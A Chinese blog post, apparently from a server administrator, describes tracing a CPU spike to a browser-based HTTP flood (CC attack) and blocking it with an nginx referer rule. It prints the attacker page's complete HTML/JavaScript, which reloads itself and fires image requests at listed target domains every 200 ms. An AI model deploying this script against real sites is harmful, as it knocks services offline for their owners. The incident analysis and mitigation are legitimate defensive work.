没有所谓的捷径
一切都是时间最平凡的累积

【分享】通过html+js刷新访问某个站点达到CC攻击效果

站长整理辛苦,觉得有用评论点个赞吧,若转载请注明出处。如果文章内容失效,请反馈给本站,谢谢!

今天发布一个经验分享,收到用户反馈,服务器CPU超高,他是Linux系统,我登录到服务器看确实cpu非常高,通过top命令看主要是php进程占用较高,如图

看样子是访问量非常大,他使用了nginx,于是我在nginx中开启了站点访问日志,开启后几分钟查看日志非常大,并且日志中都是http://xxx.cn/daji/6.html 这样的来路地址一致在不停访问首页,打开地址后发现该页面一直持续刷新,不停刷新,查看他源码看只有短短几行,如下

<html>
<head>
<title>hello world</title>
</head>
<body>
<a href="http://xxxx.cn/daji/1.html" target="_blank">1</a>
<a href="http://xxxx.cn/daji/2.html" target="_blank">2</a>
<a href="http://xxxx.cn/daji/3.html" target="_blank">3</a>
<a href="http://xxxx.cn/daji/4.html" target="_blank">4</a>
<a href="http://xxxx.cn/daji/5.html" target="_blank">5</a>
<a href="http://xxxx.cn/daji/6.html" target="_blank">6</a>
<a href="http://xxxx.cn/daji/7.html" target="_blank">7</a>
<a href="http://xxxx.cn/daji/8.html" target="_blank">8</a>
<a href="http://xxxx.cn/daji/9.html" target="_blank">9</a>
<a href="http://xxxx.cn/daji/10.html" target="_blank">10</a>
<script language="JavaScript">
function myrefresh()
{
window.location.reload();
}
setTimeout('myrefresh()',8000);
</script>
<div id="testloadimg"></div>
<script type="text/javascript">
var arr = ["http://xxx.com","http://xxx.com"];//要攻击的域名
function timedCount() {
var content = "";for (var i = 0; i < arr.length; i++)
{content += "<img src=\""+arr[i]+"?r=" + Math.random() + "\" />";
}
document.getElementById("testloadimg").innerHTML = content;setTimeout("timedCount()", 200);
}
timedCount();
</script>
</body>
</html>

通过代码看在js中定义了一个数组,数组中存在大量网址,每刷新一次,页面就回自动访问数组中的网址,反复访问,不停访问,导致对方站点php请求不过来占用cpu。

于是使用如下代码,在nginx配置文件中屏蔽了该域名,屏蔽后cpu瞬间下降到正常水平,但从日志看还是有请求访问,不过已经被我们规则拦截了,访问都报403了

valid_referers xxx.cn;
if ($invalid_referer = '')
{
return 403;
}

不过这种攻击方式效率比较低,并且很容易就封禁拦截了,如果大批量挂在别人网站上触发就很难通过web端拦截了。提醒:非法入侵、攻击他人网站是违法的,请勿做非法使用。

» 本文链接地址:https://blog.mydns.vip/509.html
» 如果喜欢可以: 点此订阅本站
赞(8) 打赏
声明:本站发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,若涉及侵权请及时告知,将会在第一时间删除,联系邮箱:contact@mydns.vip。文章观点不代表本站立场。本站原创内容未经允许不得转载,或转载时需注明出处:豫章小站 » 【分享】通过html+js刷新访问某个站点达到CC攻击效果
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

智慧源于勤奋,伟大出自平凡

没有所谓的捷径,一切都是时间最平凡的累积,今天所做的努力都是在为明天积蓄力量

联系我们赞助我们

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏